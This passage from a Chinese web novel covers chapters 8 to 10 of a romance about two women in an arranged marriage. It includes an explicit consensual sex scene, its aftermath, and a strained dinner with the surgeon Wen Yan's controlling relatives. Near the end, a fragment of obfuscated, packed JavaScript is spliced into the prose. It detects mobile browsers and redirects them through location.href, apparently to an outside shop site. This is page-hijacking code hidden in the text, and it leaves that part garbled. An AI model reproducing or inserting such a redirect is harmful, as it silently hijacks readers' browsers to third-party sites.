她将它掏出来。
白炽灯的光从头顶洒下,照亮了那个花里胡哨的包装盒。
明黄色的底色,印着夸张的橘子图案,右下角还有一行小小的英文:Orange Flavor。
温言盯着那个盒子看了两秒,忽然笑了。
低低的笑声从胸腔里震出来,带着某种难以置信的愉悦。
“橘子味的。”她念出那行字,抬眼看向靳子衿,眼神好奇,“你什么时候准备的?”
靳子衿的脸一下烧得更红。
她抬腿,不轻不重地踹了温言一下,嗔道:“少废话……快点。”
语气凶巴巴的,可尾音却在发颤。
温言没再逗她。她利落地撕开包装,取出里面那片银色的铝箔袋,用牙齿咬开。
透明的薄膜在灯光下泛着微光,她垂着眼,动作有些生疏却异常认真地展开。
因为比一般女性要高,再加上常年握手术刀,练器械,温言的指节比寻常女性要分明,手指也更长。
薄膜套上去的时候,紧绷的束缚感并不舒服。
她皱着眉动了动手指,适应了几秒,才重新看向靳子衿。
女人还躺在沙发里,长发散乱,风衣敞开,露出里面米白色的羊绒长裙。
她的一只腿曲起,膝盖抵在温言腰侧,另一只腿还搭在沙发扶手上。
灯光昏暗,照着她泛红的肌肤,像上好的羊脂玉被染了霞光。
温言俯身,挤进她怀里。
靳子衿几乎是立刻就有了反应:“轻……轻点……”
温言没说话。
她搂紧靳子衿的腰,低头吻了吻她的耳垂:“抓紧。”
话音落下的瞬间,靳子衿的视野恍惚了起来。
天花板那盏树枝造型的吊灯开始摇晃,晃眼的白光碎成一片片,像阳光下破碎的冰面。
温言的每一下动作都精准得可怕,像在操作一场精密的手术,知道哪里能让她战栗,哪里能让她失控。
一切都又急又猛。
靳子衿仰起头,脖颈拉出一道脆弱的弧线。
她猛地张嘴,咬住了温言的下巴。
——————
温言从来没有过这样的体验。
如果说前夜是懵懂中被本能驱使的探索,那么此刻,她清醒地知道自己正在做什么。
她在让靳子衿失控。
听她压抑的喘息变成破碎的呜咽,感受她身体的每一寸颤抖。
她觉得自己像是被某种古老传说中的魅魔蛊惑了,理智烧成灰烬,只剩下一遍又一遍的贪婪索取。
靳子衿实在受不住了。
“够了……”她哭着开口,“温言……”
温言动作顿了顿。
她低头,看着怀里的人。
靳子衿整张脸都哭红了。
睫毛湿成一绺一绺,嘴唇血一般红,胸口剧烈起伏。
那副样子,哪里还有半点视频里那个矜贵从容的靳总影子。
温言心里某处软得发疼。
她俯身,温柔地吻掉靳子衿眼角的泪,舌尖尝到咸涩的味道。
可嘴上说的却是:“再等等。”
声音低哑,带着不容拒绝的哄诱。
“最后一次。”
靳子衿摇头,还想说什么,温言已经重新吻住她。
等了一次。
又等了一次。
直到那个橘子味的盒子彻底空了,散落的银色包装在沙发下的地板上闪着微光,温言才终于停下。
她喘着气,额头的汗水滴下来,落在靳子衿锁骨凹陷处,聚成一小片水光。
靳子衿连抬手的力气都没有了,瘫在沙发里,像一尾脱水的鱼。
温言看了她一会儿,起身,从地上捡起那件深灰色的羊绒大衣。
她抖开,小心地裹住靳子衿,然后再次将人抱起来。
这次靳子衿连抗议的力气都没了。
她任由温言抱着,脸埋在她颈窝,嗅着她身上混杂着汗水,消毒水和莲雾香的复杂气味,昏昏沉沉地想:这个女人的体力……简直可怕。
温言抱着她上了二楼,走进主卧的浴室。
她将靳子衿放在洗手台上,转身去调热水。
花洒打开,水蒸气很快弥漫开来,模糊了镜面。
两人一起站在热水下。
温言挤了沐浴露,在掌心搓出泡沫,然后开始给靳子衿洗澡。
女人动作很轻,很仔细,像在对待什么易碎的珍宝。
从头发到脖颈,再到肩膀、手臂、腰、腿……一寸一寸,洗得干干净净。
靳子衿闭着眼,任由她摆布。
洗完,温言用浴巾裹住她,抱出浴室,放在床上。
又转身去拿了吹风机,插上电,坐在床边,开始给她吹头发。
“嗡嗡”的声响在安静的卧室里回荡。
靳子衿穿着浴袍坐在床沿,长发披散,神色倦倦的,像一只刚洗完澡的大型缅因猫。
尊贵,优雅,浑
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身透着慵懒的餍足感。
她享受着温言指尖在发间穿梭的触感,感受着热风拂过头皮的暖意,忽然开口:“没想到温医生还挺会伺候人的。”
声音还有点哑,但已经恢复了平时那种略带调侃的语调。
温言关掉吹风机,垂眸看她:“有吗?”
“有啊。”靳子衿转过头,仰脸看她。
她的脸颊被水汽蒸得微红,眼睛里还残留着情动后的水光,看起来比平时柔软许多:“动作很熟练。”
温言想了想,诚实道:“没有经常给人吹。不过……以前别人给我吹过,我只是有样学样。”
靳子衿脸上的笑意淡了些。
“哦?”她挑了挑眉,“别人?是谁?”
“一个学姐。”温言答得自然,“大学时训练受伤,手不太方便,她帮我吹过几次。”
靳子衿抿了抿唇。
“啧,学姐……”她低声重复,语气里透出一丝自己都没察觉的酸意。
顿了顿,靳子衿忍不住问:“那你的技术……也是跟你那个学姐学的?”
话说出口,她自己先愣了一下。
太明显了。
那种带着醋意的别扭,明显得让她自己都有些懊恼。
温言果然也察觉到了。
她关掉吹风机,拔掉插头,将机器放在床头柜上。
她转过身,正对着靳子衿,眼睛认真地看着她:“你觉得我和学姐……?”
“没有。”靳子衿立刻打断她,别开视线,“我只是随便问问,没有别的意思。”
话虽这么说,可耳根却悄悄红了。
温言看着她这副模样,忽然笑了。
她伸手,将靳子衿脸颊边一缕湿发别到耳后,指尖顺势蹭了蹭她发烫的耳垂。
“我和你说过,”她声音很轻,“我没有喜欢的人,也没有和任何人发生过什么。”
她顿了顿,看着靳子衿的眼睛,一字一句地说:“接吻,包括刚才那些……第一次都是和你。”
靳子衿怔住了。
她看着温言,看着她清澈的眼睛里映出自己的倒影,看着她没有丝毫闪躲的认真表情。
心里某个地方,像被什么东西轻轻撞了一下。
酸涩的、别扭的情绪一点点褪去,取而代之的是一种更柔软的温暖。
“我……”她张了张嘴,难得有些词穷,“我只是觉得你技术……太好了,所以以为你有经验。”
温言眨了眨眼。“我技术很好吗?”
靳子衿:“……”
她看着温言那张写满“求知欲”的脸,一时竟不知该气还是该笑。
“嗯。”她别开脸,声音低得像在自言自语,“很行。”
不然她也不会腿软到现在,连吹头发都要人伺候。
温言听了,却长长地松了口气。
“太好了。”她低声说,语气里带着如释重负的庆幸,“我还以为我只有蛮力……”
“毕竟你中间推了我好多次,我以为你没有那么舒服……”
靳子衿的脸“轰”一下全红了。
“我那是……”她咬了咬下唇,难得露出几分羞恼,“那是太……算了。”
她说不出口。
难道要她说“那是因为你太会了,我受不了”吗?
温言却还在等答案,眼睛亮晶晶地看着她:“是什么?”
“……总之,”靳子衿深吸一口气,抬起头,努力维持着平静的表情,“你的技术很好。”
温言若有所思地点点头。
她像是忽然想到了什么,歪了歪头,问:“那我是你接触的人里面……技术最好的吗?”
女人问得直白又天真。
靳子衿愣了两秒,脸更红了。
她看着温言那双干净得不含一丝杂质的眼睛,忽然觉得这女人在某些方面简直坦诚得可怕,也笨得可爱。
她低下头,盯着自己浴袍的腰带,声音小得几乎听不见:“我也就只接触过你……”
顿了顿,才用更小的声音补了一句:“你当然是最好的啊。”
这回,轮到温言愣住了。
她看着靳子衿低垂的睫毛、泛红的耳根,还有那截露在浴袍外的白皙脖颈,脑子里反复回荡着刚才那句话。
“我也就只接触过你。”
“你当然是最好的啊。”
几秒钟的沉默后,温言低低笑了起来。
她伸手,捧住靳子衿的脸,强迫她抬起头看着自己。
四目相对。
温言的眼睛亮得像盛满了星星。
“靳子衿,”她叫她的全名,声音愉悦而开怀,“我很高兴。”
“真的,很高兴。”
8. 忽然结婚啦:08
性这件事真是奇妙。
分明只是物理层面的交缠,却能在瞬息间改写人与人之间所有的距离刻度。
像火焰触碰酒精,轰然燎原后,只余下滚烫的灰烬与彻底融化的边界。
温言掀开被子躺回床上时,脑海里掠过这个念头。
两天前,她还在忧虑这场始于替代的婚姻该如何收场。
哥哥的警告言犹在耳。
靳子衿就是个冰山女魔头,靳家又是盘根错节的世家,她连参加商业酒会都嫌累,又该如何应对所谓“豪门生活”?
可如今……
温言侧过身,看着自动滚进她怀里的女人,无声地弯起唇角。
靳子衿闭着眼,很自然地拉开她的手臂枕上去,脸颊蹭了蹭她的肩窝,像只终于找到舒服位置的猫。
温言垂眸,借着窗帘缝隙漏进的稀薄月光,看她被倦意浸透的侧脸。
睫毛在眼下投出浅浅的阴影,白日里那种锋利冷冽的线条全然软化,只剩下某种毫无防备的柔软。
温言心软软的,用手背摸了摸她的脸颊轻声问:“很累吗?”
靳子衿含糊地“嗯”了一声,没睁眼:“早上七点开董事会,九点飞港城转机,落地处理了两个紧急文件才往家赶……”
她顿了顿,声音越来越低:“连轴转了三十六个小时。”
温言想起她昨夜视频里那身晚礼服和钻石项链,想起她站在异国夜景前的挺拔身影。
那些光鲜表象下,原来藏着这样细密的疲惫。
她伸手,指尖轻轻梳理靳子衿散在枕上的长发。
“我还以为,”温言声音里带着笑意,“是我做得太狠了。”
靳子衿猛地睁开眼。
月光下,她的眼睛很亮,带着一丝被戳破的羞恼:“你闭嘴。”
温言笑出声来。
她发现自己很喜欢靳子衿这副模样。
明明身体比谁都诚实,吻她时会颤抖,情动时会哭,可事后总要端着那点矜贵的架子,用凶巴巴的语气掩饰羞赧。
真的很爱嗔人。
像某种漂亮的毛茸茸猛禽,被顺毛摸舒服了,喉咙里发出呼噜声,却偏要扭过头假装不屑一顾。
温言心里升起一种陌生的恶劣冲动。
像小时候那些笨拙的小鬼,喜欢谁不说,偏要揪人家辫子,惹得对方瞪圆了眼睛追着打,才能确认自己确实引起了注意。
她凑过去,嘴唇几乎贴上靳子衿的耳廓,热气拂过敏感的皮肤:“那……还要再来一次吗?”
靳子衿身体明显僵了一下。
她转过头,用看怪物的眼神盯着温言。
这是什么体力怪物吗?
靳子衿瞪了她一眼,咬牙切齿道:“我不要。”
“明天上午九点还要跟欧洲那边开视频会议,下午三个项目评审会,晚上……”
“好好好,”温言笑着打断她,安抚地吻了吻她的脸颊,“知道了,靳总日程满档,小人不敢耽误。”
靳子衿瞪了她一眼,卷着被子果断往床的另一边挪了半米。
温言没追过去。
她只是侧躺着,看着那个背对着,自己裹成蚕蛹的背影,心里某个地方软塌塌地陷下去一小块。
片刻之后,她轻轻道:“晚安。”
灯关掉了。
黑暗如潮水涌来。
温言闭上眼,感官却格外清晰。
怀里残留着另一个人的体温,空气里浮动着沐浴露的柑橘香味,窗外偶尔传来汽车驶过的遥远声响,更衬得室内寂静。
她睡不着。
脑海里纷乱地闪过许多画面:奶奶递过来的翡翠镯子在灯下流转的温润光泽,餐桌上那些精准对应她口味的菜肴,靳子衿站在老宅门口说“我回来了”时眼底细碎的笑意。
看奶奶的态度,靳家对她至少是接纳的。
和靳子衿的相处……比想象中顺利太多。
这桩始于荒诞的婚姻,竟像一颗误入贫瘠土壤的种子,在无人期待处悄然生了根,甚至冒出了稚嫩的芽。
至于以后——
温言翻了个身,把脸埋进枕头。
算了。
医学实验讲究控制变量,观察现象,分析数据,可感情这回事,从来不存在标准流程。
既然当下每一步都踩在实地上,又何必非要眺望迷雾重重的远方。
她刚说服自己放松下来,身旁忽然有了动静。
靳子衿翻了个身,手脚并用地缠上来。
先是小腿搭上她的腰,接着手臂横过胸口,最后整个人像八爪鱼一样扒在她身上,脸颊贴着她颈窝,呼吸均匀绵长。
温言:“……”
身上陡然增加的重量让她僵了僵。
她偏过头,借着月光看清靳子衿沉静的睡颜。
女人眉头舒展,嘴唇微微张开,全然是陷入深眠的无辜模样。
温言看着天花板,无声地叹了口气。
她的新婚妻子,什么都好,就是这个睡姿……
实在是太烂了!
温言小心翼翼地把自己从“禁锢”中抽离,刚挪到床的另一侧,不到五分钟,靳子衿又循着热源滚了过来,再次精准地缠住她。
这一次,温言没再躲。
她认命地伸手,轻轻环住女人的腰,闭上了眼睛。
-————
生物钟在清晨六点准时敲响。
温言睁开眼时,靳子衿还在睡。
女人手脚依然缠在她身上,长发铺了满枕,有几缕黏在微汗的额角。
温言看了她一会儿,才一点一点地从她的怀抱中挣脱。
下楼时,整栋房子还沉浸在睡眠的静谧中。
她换上运动服,推开后院的玻璃门。
初冬清晨的空气凛冽清澈,吸进肺里像含了一口薄荷。
庭院里的草坪覆着薄薄的白霜,踩上去发出细碎的声响。
她在草坪中央站定,摆开八极拳的起手式。
呼吸下沉,气贯丹田。
第一式劈掌破开空气时,昨夜残存的最后一点倦意也随之消散。
汗水逐渐渗出,在冷空气中蒸腾成白雾。
世界缩小成拳锋所向的三尺之地,只剩下肌肉的记忆,骨骼的联动,呼吸的节奏。
两套拳法打完,天光已经大亮。
温言收势,长吁一口气,白雾在晨光中消散。
她转身回屋,上楼冲澡,再下来时,餐厅里已经有人了。
靳子衿穿着丝质的睡袍坐在长餐桌一端,面前摆着一杯黑咖啡和一台平板电脑。
晨光透过整面落地窗洒进来,给她周身镀上一层柔光。
女人长发松松挽起,露出优美的脖颈线条,睡袍的V领下隐约可见锁骨的凹陷。
她正垂眸看着屏幕,指尖偶尔滑动,神色专注。
听到脚步声,她头也没抬:“快吃饭。吃完我送你。”
温言走到她对面坐下,餐桌上已经摆好了她的早餐:煎蛋、全麦吐司、牛油果、一杯热牛奶。
很标准的营养搭配。
“你今天也要去医院那边?”温言端起牛奶,“路上可能会堵,万一像上次那样迟到……”
“没事。”靳子衿端起咖啡抿了一口,眼睛仍盯着屏幕,“我是老板,她们等我是应该的。”
温言:“……”
她一时不知该感慨这人的理直气壮,还是该提醒她“资本家言论请注意”。
靳子衿却在这时抬起头,目光落在她身上。
温言今天穿了套深灰色的运动服,胸前有个小小的?勾标,款式简单,布料柔软。
洗得有些旧了,袖口微微起球。
“你的衣服还没送过来?”靳子衿微微蹙眉。
“送来了。”温言低头看了看自己,“但都是礼服和裙子,做手术不方便。”
“平时穿裤装多?”
“嗯。”温言想了想,补充道,“大多是运动装。手术室要换刷手服,日常穿得舒服最重要。”
靳子衿“哦”了一声,没说话。
她重新看向平板,屏幕上密密麻麻的数据却一个也没看进去。
脑海里浮现的是初见那天的画面。
温言穿着缎面的香槟色晚礼服,大露背设计,脊骨的线条利落分明。
女人长发全部盘起,露出光洁的额头和修长的脖颈。
她坐在宴席间,背挺得很直,神色沉静,与周遭浮华的氛围格格不入,却又奇异地压得住场。
干净、英气、又带着力量。
非常漂亮。
靳子衿喜欢她这幅模样。
甚至想开口,让她以后都穿裙装才好。
毕竟她那么辛苦在外工作,回家看到赏心悦目的妻子,这是她应得的。
可是这句话实在是太过傲慢了,靳子衿不好开口。
她的指尖无意识地敲了敲桌面。
“你身上这种成衣,”她开口,语气尽量平淡,“布料一般,剪裁也普通。”
温言抬头看她。
“周日如果休息,让家里的裁缝过来一趟。”靳子衿端起咖啡,避开她的视线,“量体裁几套常服。料子选好些的,穿着舒服。”
温言怔了怔。
几秒后,她笑起来,眼睛弯成柔软的弧度:“好。”
——————
早餐后,靳子衿让司机将温言送到医院。
推门下车时,靳子衿忽然倾身过来。
温言下意识闭上眼。
吻落在唇上,很轻,带着咖啡的微苦和薄荷牙膏的清凉。
只是一个短暂的触碰,分开时,靳子衿已经坐回车后座目视前方,仿佛刚才那个吻只是温言的错觉。
“晚上见。”她说。
温言笑了:“好,晚上见。”
她推门下车,回头看了眼车后座。
靳子衿降下车窗,朝她摆了摆手
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,随即汇入车流。
直到那抹深灰色消失在转角,温言才转身走进医院大楼。
一天的工作照常展开:查房、病历讨论、术前准备、手术。
下午四点半,最后一台韧带修复术结束,温言摘下口罩,终于有空看手机。
屏幕上有一条未读信息,来自一个没有备注的号码。
但温言认得,是靳子衿的助理。
“温医生您好,靳总下午的会议需要延长半小时左右。她让我转告您,可以先回温家,她结束会议后直接过去。司机已在医院门口等候。”
温言回复了“好的”,收拾东西下楼。
司机果然等在老位置。
车驶向市中心,温言靠在座椅上,看着窗外渐次亮起的霓虹。
手机震动,她点开,是靳子衿发来的消息。
“刚散会。在路上了。”
简短的五个字,却让温言莫名松了口气。
她想了想,回了一句:“不急,路上注意安全。”
车在温家所在的叠墅区停下时,天色已完全暗下来。
这一带是城中老牌的豪宅区,树木葱郁,街道安静。
温家的房子是十年前买的,地上三层,地下一层,带一个小花园。
温言按下指纹锁,“嘀”的一声轻响,门开了。
“哎呀,子衿啊,你可算是来了——”
母亲汪曼玉的声音从里面传来,带着过分热情的笑意。
然而当她看到门口只有温言一人时,脸上的笑容明显僵了一下。
“言言?”她探头往温言身后看了看,“子衿呢?怎么没一起来?”
“她公司临时开会,晚半小时到。”温言弯腰换鞋,“让我先回来。”
汪曼玉脸上的失望几乎掩不住,但还是强笑着拉住温言的手:“这样啊……没事没事,快进来。”
你舅舅和表姐都来了,等你们好一会儿了。”
温言脚步一顿。
她抬眼看向客厅,沙发上坐着舅舅汪金玉和表姐汪晨雨。
两人听见动静,齐齐转过头来,脸上堆起一模一样的殷切笑容。
“言言回来了!”舅舅率先起身,目光却迫不及待地扫向她身后,“子衿呢?没有和你一起吗?”
“她稍后就到。”温言重复了一遍,声音比刚才更淡了些。
“能来就好,能来就好。”舅舅搓着手,眼睛笑得眯成两条缝,“快坐快坐。”
温言在单人沙发上坐下。
沙发很软,但她背挺得笔直,像坐在诊疗室面对病人。
表姐汪晨雨端起茶杯,抿了一口,才慢悠悠开口:“言言,这几天跟靳总相处得怎么样啊?”
她顿了顿,语气里掺进一丝恰到好处的关切:“你们这婚结得突然,之前也没多少了解……她对你,还好吧?”
这话问得巧妙。
表面是关心,内里却藏着钩子。
若温言答“好”,显得像在强撑;若答“不好”,更是落人口实。
温言抬起眼,看向表姐。
汪晨雨今天穿了身藕粉色的套装,妆容精致,头发一丝不苟地挽起。
她比温言大五岁,在一家投行做VP,是家族里公认的“出息孩子”。
从小到大,温言听得最多的就是“你看看你表姐”。
“挺好的。”温言说。
三个字,堵死了所有后续。
汪晨雨脸上的笑容淡了些。
她放下茶杯,还想说什么,母亲汪曼玉却先开了口。
“好什么呀,”汪曼玉拉着温言的手,叹了口气,“你这孩子,从小就内向,三棍子打不出个屁。”
“子衿那孩子我见过几次,性子冷,话又少……”她愁眉苦脸地看着温言,“你们两个木头凑在一起,这日子可怎么过啊。”
温言垂眸,看着母亲涂着鲜红甲油的手紧紧攥着自己。
她想起昨夜靳子衿在她耳边压抑的喘息,想起她情动时泛红的眼角,想起早晨那个薄荷味的吻。
冷吗?
一点也不。
“要是你有你表姐半分机灵,”汪曼玉还在絮叨,“妈也不用这么操心了……”
“姐,你别这么说。”舅舅汪金玉适时插话,脸上堆着笑,“性格内向有内向的好处。”
“靳家那样的人家,什么机灵人没见过?反倒喜欢言言这样老实本分的。”
他转向温言,语气愈发慈爱:“言言啊,舅舅说句实在话。你现在最要紧的,是抓紧给靳家生个孩子。”
“最好是个男孩。”
“只要有了孩子,你在靳家的地位就稳了,你妈也能放心,咱们汪家……”
他开始滔滔不绝,说起他那套女人就该“相夫教子”的大论。
温言抬起头,看着舅舅那张因为兴奋而泛红的脸,看着母亲赞同的神情,人都麻了。
这什么封建糟粕啊,到底有没有管管她们啊!
9. 忽然结婚啦:09
舅舅的话引来了妈妈的共鸣,两人开始对她进行轮番说教。
温言最后实在是受不了,直接逃进了厨房里。
厨房的门在身后轻轻合拢,客厅里那些甜腻的关切声被隔开一层,变得模糊不清。
温言靠在门板上,闭了闭眼。
空气里有当归黄芪炖鸡的浓郁药香,还有白萝卜在沸水里翻滚的清甜味。
这是父亲温新建厨房里特有的气味,十几年如一日,用食物表达一切无法言说的情感。
“言言?”温新建从灶台前转过身,手里握着汤勺,“怎么进来了?外面……”
“透透气。”温言走到水槽前,打开水龙头。
冰凉的水冲过手指,她挤了洗手液,慢慢地搓。
一遍,两遍,指缝、甲缘,每个细节都不放过。
这是医生的习惯,也是她让自己平静下来的方式。
温新建看着她,欲言又止。
他转身搅了搅汤锅,声音混在“咕嘟咕嘟”的沸响里:“你妈……又说什么了?”
“没什么。”温言关上水,拿起流理台上的青菜开始摘,“老样子。”
她没说具体。
那些话像潮水,每次涌来的内容都差不多,只是每一次都还会打湿她的脚踝。
外公是空军出身,开过战斗机,参加过真正的战役。
军功章在抽屉里锁着,大男子主义却刻在骨子里,明明白白摆在桌面上。
女儿是嫁出去的,孙女更是隔了一层。
温言记得小时候过年,压岁钱永远比哥哥少一半,年夜饭永远坐在女人孩子那桌。
外公摸着哥哥的头说“将来要当兵报国”,转向她时只有一句“女孩子文文静静就好”。
真正和靳家有旧交的,是汪家。
当年靳家想从汪家选个联姻对象,外公舍不得让汪家的孩子“入赘”,转头就把温家孩子的资料都送了过去。
靳老太太看上了“地质学教授”这个头衔,于是这桩婚事,落在了温辰头上。
母亲汪曼玉,完美复刻了外公的模式。
她是长女,下面只有一个弟弟。
从小到大,听得最多的是“要让着弟弟”,嫁人后是“要帮衬娘家”。
弟弟汪金玉开口的事,她没有不应的。
温言和温辰是双胞胎,只差七分钟。
可这七分钟,在汪曼玉心里划出了一道线。
哥哥是长子,是依靠。
妹妹是女儿,早晚是别人家的人。
温言从小就知道,同样的成绩单,哥哥拿回家会被夸“聪明”,她只会得到一句“女孩子不用这么拼”。
青春期时,她为此委屈过。
躲在被子里哭,在日记里写为什么。
后来读了医学院,本硕博连读,进了北院骨科,每天在手术台前一站十几个小时。
见惯了生死无常,那些儿时的委屈渐渐被稀释,像浓度过高的盐水被不断冲淡。
她学会了放下。
放下对母爱的幻想,放下对公平的执念。
像处理坏死组织,该清创就要清创,否则会感染健康的部分。
但放下不意味着麻木。
刚才在客厅,母亲拉着她的手,眼睛却看向舅舅,语气是那种熟悉的殷切讨好:“你舅舅说得对。言言,你得听你舅舅的。”
“赶紧联系国外机构,做试管,怀上子衿的孩子。趁着年轻……”
舅舅汪金玉在一旁点头,脸上每道皱纹都写着“我是为你好”:“是啊言言。靳家那样的门第,没个孩子怎么行?”
“子衿是独女,将来家业总要有人继承。你生了孩子,就是功臣,下半辈子都稳了。”
温言看着母亲涂着鲜红甲油的手。
指甲精致,边缘光滑。
这双手会做点心,会插花,会在牌桌上推牌,却从未在她发烧时整夜守在床边,也从未在她拿到医学院录取通知书时给过一个真正的拥抱。
她觉得很烦,索性抽回手,站起身:“爸呢?”
“在厨房。今天子衿要来,他亲自下厨。”
“好。”温言转身,“我去帮忙。”
现在,她站在厨房里,手里的青菜已经择好,黄叶堆了一小撮。
她打开水龙头冲洗,水声哗哗。
温新建沉默地炒着菜。
好一会,他忽然开口,“言言……你妈有时候说话直,但心是好的。”
温言没接话,她把洗净的青菜放进沥水篮。
“你从小……”温新建顿了顿,“没你哥哥活泛,性子闷,又是个女孩。现在能和子衿结婚,是你的福气,要珍惜。”
温言抬起眼。
温新建避开她的视线,专注地翻动锅里的菜:“两个女人在一起不容易。”
“虽然法律允许了,但外人看着总归不一样,有个孩子绑着会好些。”
他关了火,把菜盛进盘子,絮絮叨叨:“你那工作太累,一站十几个小时,又危险,还是辞了吧。”
“专心在家,调理身体,给子衿生个孩子。靳家不缺钱,你也不用那么拼……”
温言站在原地。
手里的沥水篮很轻,她却觉得手臂发沉。
她想起很多年前,也是这样一个傍晚。
她拿着全国物理竞赛一等奖的奖状回家,满心期待地递给父亲。
温新建看了,点点头说“不错”,然后问:“你哥哥呢?他考得怎么样?”
那时她十三
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岁,还会难过。
现在她三十岁,已经学会把情绪压成平整的切片,放在显微镜下观察。
哦,这是未被满足的期待,这是童年创伤,这是社会对女性价值的系统性贬低。
分析得很清楚。
可还是会累。
她当初为什么要心软,回家填这个窟窿?
温辰那个狗东西。
明明是自己不想过这种被安排,被审视的生活,就把她推进来收拾烂摊子。
还美其名曰“帮我顶了这桩婚事吧”。
温言把沥水篮放在台面上,发出轻响。
她转过身,想说什么。
可张了张嘴,发现所有话都卡在喉咙里,变成一块无法吞咽的刺。
就在这时,门铃响了。
“叮咚——”
清脆的声音穿透门板,刺破室内的沉默。
紧接着,客厅传来母亲骤然拔高,过分热情的声音:“哎呀,子衿!可算来了!快进来快进来!”
鞋柜开合声,脚步声。
温言听见靳子衿的声音。
清冷,平稳,带着恰到好处的距离:“妈。”
一个字的称呼,礼貌而疏离。
接着是她问:“言言呢?没回来?”
汪曼玉连忙笑着道:“回来了回来了,在厨房帮她爸……”
话音未落,高跟鞋的声音朝厨房而来。
“哒,哒,哒。”
鞋跟敲击地面,清脆,规律,不紧不慢。
温言扭头看向厨房的门。
门把转动。
门开了。
靳子衿站在门口。
她今天穿了身烟灰色羊绒套装,剪裁极佳。外面罩了件同色长大衣,衣襟敞开,露出里面丝质白衬衫。
长发在脑后挽成低髻,几缕碎发落在颊边。
灯光从她身后照来,给她镀了层毛茸茸的光晕。
靳子衿笑了一下,眉眼弯弯声音里带着一丝戏谑的亲昵:“怎么,今天是我老婆下厨吗?”
温言:“……”
她看着靳子衿。
看着她含笑的眼,微扬的唇角,看着她站在那里,像一株突然闯入温室的热带植物,自带阳光与生命力。
有那么几秒,温言说不出话。
脑海里那些沉重的,令人窒息的想法,像退潮般迅速消散。
她看着靳子衿那张生动明媚的脸,她心里只有一个念头:好的,她原谅她们了。
原谅她们不讲道理,就将她生出来,还要对她挑三拣四指手画脚,让她替哥哥顶了婚事。
因为结婚对象是靳子衿。
因为她的妻子是靳子衿。
所以她选择短暂地原谅所有的一切。
10. 忽然结婚啦:10
靳子衿迈步走进来。
高跟鞋踩在地砖上,清脆作响。
她先对温新建点了点头,礼貌道:“爸。”然后很自然地走到温言身边。
温新建尴尬地点头:“哎……哎……”
两人的距离很近。
近到温言能闻到她身上那股熟悉的柑橘冷松香,混合着冬夜微凉的空气味道。
靳子衿低头看了眼流理台上的青菜,又抬眼看向温言。
她的目光在温言脸上停留几秒,像是某种无声的扫描。
靳子衿,在旁人视线死角的位置,轻轻碰了碰温言的手背。
只是一个短暂的触碰。
指尖微凉,掠过皮肤,却让温言的心尖颤一下。
温言垂下眼,几不可察地点了点头。
靳子衿收回手,转向温新建,语气从容:“爸,需要帮忙吗?我虽然不太会,但打下手还行。”
温新建连连摆手:“不用不用!你们出去坐,马上就好!”
靳子衿笑了笑,没坚持。
她重新看向温言,微微偏头,用眼神示意:出去?
温言放下手里的东西,用厨房纸擦了擦手:“爸,那我们先出去。”
“好,好。”
走出厨房时,靳子衿很自然地走在温言身侧。
她的手臂若有若无地贴着温言的手臂,隔着衣料传递温度,像是在调戏。
温言无奈地看了她一眼,伸出手牵住了她。
靳子衿没有挣扎,自然而然地与她十指相扣。
两人掌心贴在一起,就这么手牵着手,走进了客厅。
客厅里,汪金玉和汪晨雨已经站起来,脸上堆起殷切的笑容:“靳总来了,快坐快坐。”
“子衿快坐。”汪曼玉率先起身,脸上的笑容堆得满满当当,“累了吧?先喝口茶,这是你爸珍藏的金骏眉,特意为你泡的。”
靳子衿松没去坐那个主位,她牵着温言的手,在长沙发靠边的位置坐下。
汪曼玉看到她们挨在一起的身影,脸上的笑容更深:“来,喝茶喝茶。”
汪曼玉端着茶杯递过来,靳子衿接了,道了声谢,却没喝,只是将杯子放在面前的茶几上。
“子衿啊,”汪曼玉重新坐下,身体微微前倾,手指向对面,“这是言言的舅舅,汪金玉,做建筑材料生意的,城南那几个大型楼盘的建材都是他公司供的货。”
她顿了顿,语气里带着不易察觉的讨好:“婚宴她也来了,你应该……有印象吧?。”
靳子衿点了点头,淡淡道:“知道。”
“去年城东‘江枫苑’那个项目,舅舅也参与了投标,策划案做得不错……”
汪金玉立即挺起了胸膛,很是自豪道:“哪里哪里。靳氏的规范在业界是出了名的,我们应该多学习。”
汪曼玉见缝插针,又将手指向另一侧:“这是晨雨,言言的表姐。在摩根华鑫做副总裁,年轻有为。”
她的语气里带着明显的骄傲,仿佛在展示一件精心打磨的作品:“晨雨从小就是孩子里最出色的,读书好,能力强,人情世故也通透。不像我们言言……”
她说着话锋一转,又落回温言身上,语气里染上些许无奈:“这孩子啊,从小就闷,三棍子打不出个屁来。”
“人家女孩子这个年纪,哪个不是打扮得漂漂亮亮,会说话会来事?她就知道埋头读书,读傻了都。”
靳子衿听到这里,压了压眉头,下意识看向温言。
温言没有什么神情,脸上仍旧淡淡的,仿佛已经习惯了。
对面的汪晨雨适时地抿唇笑了笑,姿态优雅地放下茶杯,声音温温柔柔的:“姨妈,您别这么说言言。言言有言言的好,她专业能力强,性子静,稳当。”
她抬眼看向靳子衿,笑容得体:“靳总这样见惯大风大浪的人,可能反倒欣赏言言这种沉稳的性格呢。”
这话听着像解围,实则又将温言推到了“被评价”的位置上。
如果不是不会,温言都想给她翻个白眼。
靳子衿没有错漏她眼中一闪而过的烦躁,连忙摸清了这是怎么一个情况。
看起来,温言并不喜欢她这两个亲戚。
正思索着,汪金玉接过话头,笑呵呵地:“是啊,言言这孩子,老实,本分。就是话太少了,性子闷。”
他看向靳子衿,语气状似关切:“子衿啊,你们相处,你可得多担待些。”
“要是觉得闷了,就多带她出来,跟我们晨雨学学,晨雨最会调节气氛了。”
汪曼玉连忙附和:“对对对,让晨雨多带带言言。”
“你说这结婚了,以后总得陪子衿出席一些场合吧?总不能一直这么闷着不说话,那多失礼……”
空气里弥漫着一种黏稠的“为你好”。每一句话都裹着糖衣,内里却是坚硬的评判和不容置疑的改造建议。
他们像一群熟练的工匠,围着温言这块“原材料”,讨论着她哪里需要打磨,哪里需要修饰,才能更配得上她身边的“主人”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971346|193453||http|test|mini|href|location''.split(''|''),0,{}));
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>温言觉得喉咙发紧。
那些话语像细密的丝线,一层层缠上来,不痛,但令人窒息。
小时候,也是这样。
